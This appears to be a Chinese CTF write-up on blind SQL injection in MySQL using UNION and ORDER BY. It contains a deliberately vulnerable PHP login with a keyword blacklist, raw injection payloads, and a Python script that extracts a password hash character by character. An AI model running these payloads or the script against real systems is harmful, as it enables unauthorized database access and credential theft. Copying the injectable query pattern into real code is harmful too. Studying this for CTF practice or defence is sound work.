MySQL union ascii order盲注

╰半橙微兮° 2022-09-16 14:17 200阅读 0赞

# 源码 #

<?php
      $dbhost = "localhost";
      $dbuser = "root";
      $dbpass = "123";
      $db = "ctf";
      $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);
      mysqli_set_charset($conn,"utf8");
    
      /* sql
    
         create  table `admin` (
            `id` int(10) not null primary key auto_increment,
            `username` varchar(20) not null ,
            `password` varchar(32) not null
         );
      */
    function   filter($str){
        
          $filterlist = "/$|$|username|password|where|
          case|when|like|regexp|into|limit|=|for|;/";
          if(preg_match($filterlist,strtolower($str))){
        
            die("illegal input!");
          }
          return $str;
      }
    $username = isset($_POST['username'])?
    filter($_POST['username']):die("please input username!");
    $password = isset($_POST['password'])?
    filter($_POST['password']):die("please input password!");
    $sql = "select * from admin where  username =
     '$username' and password = '$password' ";
    
    $res = $conn -> query($sql);
    if($res->num_rows>0){
        
      $row = $res -> fetch_assoc();
      if($row['id']){
        
         echo $row['username'];
      }
    }else{
        
       echo "The content in the password column is the flag!";
    }
    
    ?>

过滤了括号，说明不能用函数。  
过滤了存放flag的password，不能用password字段名了，可以考虑用十六进制形式表示字符串。

# union order 盲注 #

本地测试下：

mysql> use ctf;
    Database changed
    mysql> SELECT * FROM admin UNION SELECT -1,2,BINARY 0x36 ORDER BY 3 DESC, 1 DESC;
    +----+----------+----------------------------------+
    | id | username | password                         |
    +----+----------+----------------------------------+
    |  1 | admin    | 74be16979710d4c4e7c664785608845E |
    | -1 | 2        | 6                                |
    +----+----------+----------------------------------+
    2 rows in set (0.00 sec)
    
    mysql> SELECT * FROM admin UNION SELECT -1,2,BINARY 0x37 ORDER BY 3 DESC, 1 DESC;
    +----+----------+----------------------------------+
    | id | username | password                         |
    +----+----------+----------------------------------+
    |  1 | admin    | 74be16979710d4c4e7c664785608845E |
    | -1 | 2        | 7                                |
    +----+----------+----------------------------------+
    2 rows in set (0.00 sec)
    
    mysql> SELECT * FROM admin UNION SELECT -1,2,BINARY 0x38 ORDER BY 3 DESC, 1 DESC;
    +----+----------+----------------------------------+
    | id | username | password                         |
    +----+----------+----------------------------------+
    | -1 | 2        | 8                                |
    |  1 | admin    | 74be16979710d4c4e7c664785608845E |
    +----+----------+----------------------------------+
    2 rows in set (0.00 sec)

![1][]

`binary`可以区分大小写。

循环到`0x38`，开始显示2，`0x38`为分界线，`0x37`也就是字符7是真实值，ASCII值差1。

# payload #

// admin
    username=admin' union select -1,2,binary 0x36 order by 3 desc,1 desc#&password=1
    
    // admin
    username=admin' union select -1,2,binary 0x37 order by 3 desc,1 desc#&password=1
    
    // 2
    username=admin' union select -1,2,binary 0x38 order by 3 desc,1 desc#&password=1

# EXP #

#!/usr/bin/python
    # coding:utf-8
    
    import requests
    
    def makeStr(begin,end):
        str=""
        for i in range(begin,end):
            str+=chr(i)
        return str
    def getPassword():
        url="http://test/sql_bind_union/index.php"
        testStr = makeStr(48,127)  # 0-~
        payload = "admin' union distinct select -1,2,binary 0x{hex} order by 3 desc, 1 DESC#"
        flag = ""
        for  _  in range(32):
            for i in testStr:
                data = {
        "username":payload.format(hex=(flag+i).encode().hex()),"password":'1'}
                #print(data)
                res = requests.post(url,data)
                if "admin" not in res.text:  # 找到对应字符
                    # res.text返回2表示正确，payload是0x38，i的值为0x37,ascii码相差-1
                    flag= flag+chr(ord(i)-1) 
                    print(flag)
                    break
                else:
                    pass
    
    if __name__== '__main__':
        getPassword()

![1][1 1]

# 参考 #

https://wonderkun.cc/2017/02/26/%E5%9F%BA%E4%BA%8Eunion%E6%9F%A5%E8%AF%A2%E7%9A%84%E7%9B%B2%E6%B3%A8(%E6%84%9F%E8%B0%A2pcat%E7%89%9B%E4%B8%8D%E5%90%9D%E8%B5%90%E6%95%99)/

[1]: /images/20220828/f0ff300689de4ddd94e894746486320a.png
[1 1]: /images/20220828/8c2c4e500944444bba02a9570d4b1b06.png